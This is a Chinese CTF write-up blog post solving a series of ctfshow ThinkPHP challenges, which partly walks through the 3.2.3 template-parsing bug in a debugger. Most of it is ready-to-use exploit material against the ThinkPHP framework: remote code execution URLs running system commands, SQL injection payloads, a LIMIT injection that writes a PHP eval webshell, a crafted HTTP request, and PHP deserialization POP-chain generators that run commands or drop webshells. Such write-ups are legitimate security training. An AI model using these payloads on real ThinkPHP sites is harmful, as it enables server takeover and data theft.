ctfshow--thinkphp专题


做题之前没有 thinkphp 基础的先看看开发手册:ThinkPHP3.2.3完全开发手册

[TOC]

web569

旨在考察 thinkphp 路由规则,其形式为:/index.php/模块/控制器/方法

payload:/?s=admin/login/ctfshowlogin

web570

手册里面搜索闭包,了解 tp 闭包知识,很简单,当成正常路由即可

下载源码,发现在 Application\Common\Conf\confing.php 中出现闭包函数

'ctfshow/:f/:a' =>function($f,$a){
    call_user_func($f, $a);
}

因 tp 路由中含有 / 不能直接 ls / ,所以,这样:http://40fd3ac4-d1cc-421c-8ada-1a11d04bdbc2.challenge.ctf.show:8080/?s=ctfshow/assert/assert($_POST[1]) POST:1=system('cat /f*')

web571

下载源码并未找到明显的后门,既然提示是控制器那就去 Application\Home\Controller 里面看看,文件中发现 $this->show() 但又找不到定义位置,这应该是 thinkphp 自带的,遂去手册里面搜索 $this->show

image-20210805174718216

再搜索 模板 会发现它可以执行 PHP 代码,PHP 总是这么神奇,不是么

image-20210805174834435

那么题目就很简单了,直接 http://2740a8ff-e693-49bc-a1db-325916dde37c.challenge.ctf.show:8080/index.php/home/index/index?n=<?php system("cat /f*");?>

后面就是调试分析其原因,不想看的左面有目录跳转


ThinkPHP 3.2.3 模板解析造成 RCE

环境搭建

composer create-project topthink/thinkphp=3.2.3 tp3

访问主页自动生成其他目录

如果搭建过,检查 Application/Runtime/Cache/Home/是否含有缓存文件,删除 rce 文件

增加方法 Application/Home/Controller/IndexController.class.php

public function test($n='')
    {
        $this->show($n);
    }

漏洞分析

打上断点后访问:http://127.0.0.1/PHPSec/tp3/index.php/home/index/test?n=<php>system('whoami');</php>

加载模板处跟进$this->fetch()

image-20210806140546552

跟进 Hook::listen('view_parse', $params);

image-20210806140658892

然后是 exec()

image-20210806140804246

在 return 时会执行 ParseTemplateBehavior.class.php

image-20210806141008612

去看看怎么编译、加载模板的

image-20210806141037130

前面判断是否为文件,然后为其定义缓存路径

image-20210806141256303

到下面编译模板,跟进去

image-20210806141423459

parse() 为模板解析入口,跟进去

image-20210806142133447

这里使用 TagLib 库解析,继续跟

image-20210806142203829

parseTagLib() 最下面有个 解析标签库的标签 的方法(parseXmlTag()),跟进去

image-20210806142429523

方法最后会调用 CX解析库,将模板内容前后加上 <?php ?>

image-20210806142953227

image-20210806143034286

后面会为其添加安全代码,并写入缓存

image-20210806143313923

image-20210806143309631

然后 load 缓存文件,执行构造的 php 语句

image-20210806143356599

上面解析过程中有很多对 literal 标签的操作,查阅手册发现其是被用来 防止模板标签被解析

image-20210806144802907

web572

看提示,爆破不超过 365 次,有点像一年的天数,遂去谷歌一波,发现 ThinkPHP使用不当可能造成敏感信息泄露,里面提到:ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多站都没关,其目录结构为 Application\Runtime\Logs\Home\年份_月份_日期.log

image-20210806113049269

payload:http://445fdf62-3a0e-4eb8-aa31-5df60ac7dc68.challenge.ctf.show:8080//index.php?showctf=%3C?php%20system(%22cat%20/f*%22);?%3E

web574

http://75891f4e-5415-48d9-8cf7-ecdf464d6cd5.challenge.ctf.show:8080/?id=2 and updatexml(1,concat(0x7e,(select right(flag4s,20) from flags),0x7e),1)

web575

在分析了

非预期

利用失败了。。不知道是不是我 vps 的问题,懒得去 vps 控制台开端口了,直接非预期吧

看代码,群主用了 show() ,明显的解析漏洞的嘛,随便找个类实例化一下就行(趁着分析,就用了 Model这个)

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
<?php

/**
 * @Author: yq1ng
 * @Date:   2021-08-11 09:29:19
 * @Last Modified by:   yq1ng
 * @Last Modified time: 2021-08-11 09:39:44
 */

namespace Think;
class Model {
	public $id = "1";
    public $username = "<php>system('cat /f*');</php>";
}

echo base64_encode(serialize(new Model));

预期

参考 ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链,我复现失败了

web576

这个就很简单,先去看看 comment() ,会在构造 sql 语句中用到,一直跟下去

/**
     * 查询注释
     * @access public
     * @param string $comment 注释
     * @return Model
     */
    public function comment($comment)
    {
        $this->options['comment'] = $comment;
        return $this;
    }

这里直接拼接,那就闭合喽

/**
     * comment分析
     * @access protected
     * @param string $comment
     * @return string
     */
    protected function parseComment($comment)
    {
        return !empty($comment) ? ' /* ' . $comment . ' */' : '';
    }

测试 payload:?id=1*/ and 1=1%23,报错了,是 LIMIT 注入

image-20210811100143694

看看这个:[转载]Mysql下Limit注入方法,两个方法,盲注/写马。群主这个应该是 root 吧,直接写马喽

payload:http://e058826d-2d07-4b16-9cd5-a68a987147b3.challenge.ctf.show:8080/?id=1*/into outfile "/var/www/html/yq1ng.php" LINES STARTING BY '<?php eval($_POST[1]);?>'%23

web577

exp 注入:?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

web578

这个简单看看,上面分析过了,说是变量覆盖,本地调试一下看看

简单赋值

/**
 * 模板变量赋值
 * @access protected
 * @param mixed $name 要显示的模板变量
 * @param mixed $value 变量的值
 * @return Action
 */
protected function assign($name, $value = '')
{
    $this->view->assign($name, $value);
    return $this;
}

image-20210811102446166

public function fetch($templateFile = '', $content = '', $prefix = '') 里面,如果把 $_content 覆盖掉不就直接解析模板了,注意这里不能用标签了哦,他是 eval ,直接再写个 php 语句就行了

image-20210811102804604

payload:http://ac0a0123-605e-448f-9f25-22dda1f77173.challenge.ctf.show:8080/?name=_content&from=<?php system("cat /f*")?>

web579

这个分析过了(虽然是 5.1的),可以看看(含各种payload):

payload:http://a476e2ed-b5ce-4bfc-a688-9047e9c647e4.challenge.ctf.show:8080/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*

web604

随便弄个不存在的路由,5.1的,所以上一个不能用

payload:http://78a3ab7c-4570-4ddc-861b-25de2e36c5a8.challenge.ctf.show:8080/?s=index/\think\Request/input&filter[]=system&data=cat /f*

web605

payload:http://0220d038-1871-456d-baaf-824e909bae98.challenge.ctf.show:8080/?s=index/\think\template\driver\file/write&cacheFile=yq1ng.php&content=<?php @eval($_POST[1]);?>

接着访问 http://0220d038-1871-456d-baaf-824e909bae98.challenge.ctf.show:8080/yq1ng.php POST:1=system('cat /f*');

web606

在分析文章中的 RCE 2 列出了很多可利用类,找到一个能用的:http://45007e2c-76ba-4fa1-b8e0-c6a16fe0cd01.challenge.ctf.show:8080/?s=index/\think\Container/invokeFunction&function=assert&vars[0]=system('cat /f*');

直接用 system 的话第二个参数还需要一个变量来保存返回值,所以直接用 assert

web607

这次用了 think\Request/cookie,一开始传 data 怎么都不行,又是数组不对又是 assert 断言错误的,仔细看源码才发现可以用 cookie 的值覆盖 data,所以 POC 长这样( method是类里面定义的,必须找定义好的,自定义的不能识别 )

GET /?s=index/think\Request/cookie&filter=assert HTTP/1.1
Host: 8d5ac224-bcbc-4bfc-b709-c93966c60357.challenge.ctf.show:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie:method=system(%27cat /f*%27);
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

web608 | 609 | 610

为什么群主总是能猜到我下一步找的链子,嘤嘤嘤,每次都要重新找

哈哈哈,通杀了,前面应该也可以用这个

# \think\view\driver\Think
public function __call($method, $params)
    {
        return call_user_func_array([$this->template, $method], $params);
    }

注意到此类中有 display() 方法,前面知道这个方法可以解析 php 模板,直接整

payload:http://0cfd704b-addb-411d-8a67-06ec40ea56ab.challenge.ctf.show:8080/?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('cat /f*'); ?>

web611

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["yq1ng"=>["ls",""]];
        $this->data = ["yq1ng"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter;
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
/*
output:O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmode
l%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22yq1ng%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22ls%22%3Bi%3A1%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A17%
3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yq1ng%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visi
ble%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3
A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
*/

image-20210811111549426

web612

没说不是 base64 编码了,坑死我。。。

和上一题一样,区别如下

$this->hook['visible'] = [$this, 'isPjax'];
$this->config['var_pjax'] = '';
echo urlencode(serialize(new Windows()));
<?php
/**
 * @Author ying
 * @Date 2021/8/17 13:53
 * @Version 1.0
 */


namespace think\model;

use think\Model;

class Pivot extends Model
{
}

namespace think\process\pipes;

use think\model\Pivot;

class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files[] = new Pivot();
    }
}


namespace think;

abstract class Model
{
    protected $append = [];
    private $data = [];

    public function __construct()
    {
        $this->append = array('yq1ng' => array('hello'=>'thinkphp'));
        $this->data = array('yq1ng' => new Request());
    }
}

class Request
{
    protected $hook = [];
    protected $config = [];
    protected $filter;

    public function __construct()
    {
        $this->hook['visible'] = [$this, 'isPjax'];
        $this->config['var_pjax'] = '';
        $this->filter = 'system';
    }
}

use think\process\pipes\Windows;

echo urlencode(serialize(new Windows()));

web613 - 622

写的 POC Requests不得行,能力止步于此,暂时搁置了

问了 fmyyy 师傅的 POC,发现这是个严重的非预期,但是群主说不是,那就不是喽,哈哈哈

和612一样,把 $this->hook['visible'] = [$this, 'isPjax']; 改为 $this->hook['visible'] = [$this,"request"]; 即可

正解后续再发

web623

不能动态执行命令,需要更改 POC

<?php
/**
 * @Author ying
 * @Date 8/20/2021 10:01 AM
 * @Version 1.0
 */

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
    }
}

namespace think {

    abstract class Model
    {
        private $lazySave = false;
        private $data = [];
        protected $withEvent = true;
        private $exists = false;
        private $force = false;
        protected $table;
        private $withAttr = [];

        public function __construct($obj = '')
        {
            $this->lazySave = true;
            $this->data = array('yq1ng'=>'cat /f*');
            $this->withEvent = false;
            $this->exists = true;
            $this->force = true;
            $this->table = $obj;
            $this->withAttr = array('yq1ng'=>'system');
        }
    }
}

namespace {

    use think\model\Pivot;

    echo urlencode(serialize(new Pivot(new Pivot())));
}

web624 - 626

<?php
/**
 * @Author ying
 * @Date 8/20/2021 5:01 PM
 * @Version 1.0
 */

namespace League\Flysystem\Cached\Storage {

    use League\Flysystem\Adapter\Local;

    class Adapter
    {
        protected $autosave = true;
        protected $expire = null;
        protected $adapter;
        protected $file;

        public function __construct()
        {
            $this->autosave = false;
            $this->expire = '<?php eval($_POST[1]);?>';
            $this->adapter = new Local();
            $this->file = 'yq1ng.php';
        }
    }
}

namespace League\Flysystem\Adapter {
    class Local
    {
    }
}

namespace {

    use League\Flysystem\Cached\Storage\Adapter;

    echo urlencode(serialize(new Adapter()));
}

文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录